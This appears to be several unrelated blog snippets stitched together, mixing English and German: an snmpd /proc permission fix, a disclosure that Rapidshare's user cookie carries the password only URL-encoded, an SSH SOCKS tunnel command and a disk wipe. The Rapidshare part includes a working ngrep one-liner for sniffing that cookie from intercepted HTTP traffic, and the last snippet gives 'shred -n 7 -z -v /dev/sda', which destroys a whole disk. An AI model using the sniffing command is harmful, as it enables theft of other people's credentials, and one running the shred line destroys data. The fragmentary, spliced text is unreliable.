Jun 22 17:10:43 test snmpd[9508]: cannot open /proc/net/snmp ...
Jun 22 17:10:45 test snmpd[9508]: cannot open /proc/net/dev ...

The problem is, that snmpd has no rights to access the proc-filesystem to gather information about interfaces and so.

check the rights of the user and group of snmpd:

root@test:~$ cat /proc/$(pidof snmpd)/status | grep -i -e "^[u|g]id"
Uid:    106     106     106     106
Gid:    0       0       0       0

In my case, the problem was that i was running a grsec kernel (stupid default kernel of my root) and access to proc by users was permitted by the kernel.
to change this, you must change your kernel config (see grsecurity for instructions).

another solution is to change the user or group to a special grsec user/group. but event this is not working correct under some distributions, but patching the source code of snmpd may help.

Ich möchte hier die Schwachstelle der Rapidshare Authentifizierung durch das user-Cookie aufzeigen. Das hier ist *keine* Anleitung zum sniffen von Rapidshare Zugangsdaten.

Wir nehmen einen Premium Account und loggen uns bei Rapidshare ein.
Das erste was auffällt: https. Das heißt für einen MITM-Angriff ist hier bereits Schluss (bzw. nicht unbedingt, man siehe sich das dsniff Package an) da die übertragenen Daten mittels SSL verschlüßelt werden.

Haben wir uns eingeloggt, kommt der interessanteste Teil: Das user-Cookie von Rapidshare. Das sieht folgendermaßen aus:

4108813-%67%73%55%6D%45%57%56

Wie man bereits sehen kann, ist das Passwort entsprechend des ASCII-Zeichensatzes maskiert.

Tippt folgendes in die Firefox Adressleiste ein:

javascript:unescape('4108813-%67%73%55%6D%45%57%56');

unescape() wandelt die maskierten Zeichen in richtige Zeichen um. Das Ergebnis sind eure Zugangsdaten in Plaintext.

Nun möchte ich zeigen, wie leicht es ist, Traffic nach diesem Cookie zu analysieren. Wir gehen davon aus, das wir eingehenden Traffic (z.b. MITM / Proxy / Gateway) an unserem Netzwerkinterface haben, den wir mittels ngrep analysieren:

ngrep -q -W byline -d any "Cookie: user=" port 80 | grep "Cookie: "

Was die entsprechenden Parameter bedeuten, bezieht Ihr bitte aus der Man-Page.

Das Ergebnis:

match: Cookie: user=
Cookie: user=4108813-%67%73%55%6D%45%57%56.
Cookie: user=4108813-%67%73%55%6D%45%57%56.
Cookie: user=4108813-%67%73%55%6D%45%57%56.
Cookie: user=4108813-%67%73%55%6D%45%57%56.
Cookie: user=4108813-%67%73%55%6D%45%57%56.
Cookie: user=4108813-%67%73%55%6D%45%57%56.
Cookie: user=4108813-%67%73%55%6D%45%57%56.
...

Bei jedem Download wird das user-Cookie an die Rapidshare Server übermittelt. Da dies mittels HTTP passiert – und somit nicht verschlüßelt ist – ist es jedem der zwischen Client und Server steht möglich, die Zugangsdaten zu ermitteln.

Durch diese Schwachstelle sind nicht nur die Persönlichen Daten des Rapidshare-Benutzers gefährdet, sondern eben auch dessen Account selbst.

plink.exe -D 1080 -N -v user@host

Die plink.exe bekommt Ihr von der gleichen Seite, bei der es auch putty gibt:
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Danach ist der Socks5-Proxy über localhost und den Port 1080 erreichbar.

Wie hihn.org zeigt, sind folgende Einstellungen im Firefox notwendig, damit dieser nach dem Starten des Socks5-Proxys auch über diesen die Seiten aufruft:

shred -n 7 -z -v /dev/sda

-n = Anzahl an Formatierungen (mit random Werten)
-z = Schreibe am Ende der Formatierungen alles mit Nullen voll
-v = Verbose